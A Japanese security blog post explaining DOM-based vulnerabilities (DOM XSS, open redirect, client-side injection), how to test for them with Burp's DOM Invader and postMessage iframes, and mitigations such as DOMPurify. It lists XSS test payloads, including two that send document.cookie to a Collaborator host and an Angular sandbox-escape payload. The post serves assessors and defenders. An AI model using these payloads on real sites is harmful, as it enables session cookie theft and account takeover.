【DOM exploit】XSSだけではないDOM脆弱性原理とリスク適切に把握して対策しましょう

投稿日: カテゴリー: セキュアコーディング
Pocket

DOMの脆弱性は特に仕組み上「〇〇があれば大丈夫」が通用しない

DOM XSSはインジェクションの入り口となる「ソース」と出口となる「シンク」が、組み立てられたHTML内で悪用されることで発生するスクリプトインジェクションです。
DOM XSSではJavaScriptがDOMを介してHTMLを操作するタイミングにスクリプトをインジェクションします。
サーバレスポンスにはスクリプトが出⼒されず、リクエストとしてもサーバサイドに送信されないため原則WAFでは防御はできません。
さらにブラウザの保護機構は攻撃コードの送受信がないHTMLが組み立てられた後では基本的に機能しません。
また、「シンク」次第で被害が必ずしもXSSとは限らず、1つだけ対策して満足して対策漏れなんてこともままあります(単一事象までしか再診断しないベンダーの方はヒヤヒヤするのが正常です)
これはDOM XSSに限りませんが〇〇があれば大丈夫という単純化はリスクに対して盲目になります。

eval()→Evalインジェクション
ExecuteSql()→クライアントサイドSQLインジェクション
document.evaluate()→クライアント側の XPath インジェクション
window.location、location.href→オープンリダイレクト(MyYotube動画)
document.cookie→Cookieポイズニング
WebSocket()→WebSocketポイズニング
sessionStorage.setItem()→セッションハイジャック
document.write()→DOM XSS

とJavascriptで操作できる悪用なわけですから多岐にわたるのは当たり前と言えば当たり前です。

XSSはScript Injectionの一例に過ぎない、むしろScript Injectionとして漏れのないように対策させる視点がセキュリティエンジニアとして大事です。

DOMの脆弱性の見つけた|診断方法

インジェクションの入り口となる「ソース」の代表的な要素はlocation.href、location.hash、document.referrer、document.cookieなどが挙げられます。要するにユーザが操作可能な値です。

例えばlocation.hash.substring(1)は、URLの#より後ろの部分の文字列を示します。通常は内部リンクやタグなどを取得したい場合が想定されますが、#の後に検査値を入れること。

検査値は意外と普通で以下のような値です。

<script>alert(document.cookie)</script>
“><svg onload=alert(document.cookie)>
javascript:alert(document.cookie)

とは言えjavascript:alert(document.cookie)は、基本的にHTMLとして解釈されないようエスケープされるReactの例外となっているためスクリプトは実行されるので自力対策が必要です。
window.locationもReactの例外なので忘れずに・・javascript:alert(document.cookie)に関してはif (url.match(/^https?:\/\//)) といった感じでスキーマチェックした上で、メタ文字除外を行います。

理屈は解ったのですが、どのように見つければいいかが課題になりそうです。なんせ読み込み先も含め数多あるソースとシンクの組み合わせを検証することを考えたらテスト工数が絶望的に増えます。

そんな時はBurp Suite付属のブラウザにある [DevTools] パネルの [DOM Invader]を活用しましょう、ただ逆に検証に引っ掛かりエラーなってしまう時もあるのでその時はオフにするして、パッシブスキャンの結果から精査するようにしましょう。(どちらも無料版で利用可です

location.search|location.はサーチして確認が必須

location.searchは'?' の後の クエリストリングを受け取ります。

postMessageとiframeを利用した診断手法

iframeと親ページ間のデータ送受信を行うテクニックを活用することでpostMessageを受け取らせ発火させることができます。

実践例としては私のチャンネルで公開しているDOM XSS using web messages(PRACTITIONER)

DOM XSS using web messages and a JavaScript URL(PRACTITIONER)が判りやすいかと思います。後者はindexOf()でhttp or httpsを検証したつもりがバイパスされる例はとってもリアルです。

<iframe src="(URL)" onload="this.contentWindow.postMessage('Exploit Code','*')">

は、脆弱性診断のペイロードに用意しておいてもいいかもしれません。

基本的にはシンクに以下をねじ込むスタンスでOkです。

"></select><svg onload=alert(document.cookie)>
\"-alert()}//
<><img src=1 onerror="window.location='http://{YourCollaborator}.oastify.com/c='+document.cookie">

Angularときたら以下のような「{{constructor.」のペイロードを用意してねじ込んでいきましょう。

{{constructor.constructor('document.location="http://{YourCollaborator}.oastify.com?c="+document.cookie')()}}

DOM脆弱性の対策方法のお勧めは?

基本は外部から入りうる値は検証し不要な値を受け取らないことですが、検証に併せてDOMPurifyなどライブラリを活用すること、フレームワークの防御を活用することで取りこぼしのない対策をお勧めします。ただし次に書くように「||」のような書き方をするなど危険な書き方をすれば忽ち突破されるため、あくまで検証の取りこぼしがないようにライブラリやフレームワークは補助的な対策と捉える理解が必要となります。

DOMPurifyは万能か?→いいえ、破壊可能です。

DOMPurifyはinnerHTMLやjQueryのhtml()などで出力する前にDOMPurify.sanitize() しておくことで、やむを得ずinnerHTMLを使う場合でも安全が謳い文句ですが、だからと言って慢心するとやられます。

百聞は一見にしかず

DOMまでしっかり診断できるベンダーは国内だとごく少数なのが現状です。DOMの脆弱性を発見適切な対策を案内できるようになってセキュリティエンジニアとして一歩リードできるように研鑽を積んでいきましょう。

以上です。参考になれば幸いです。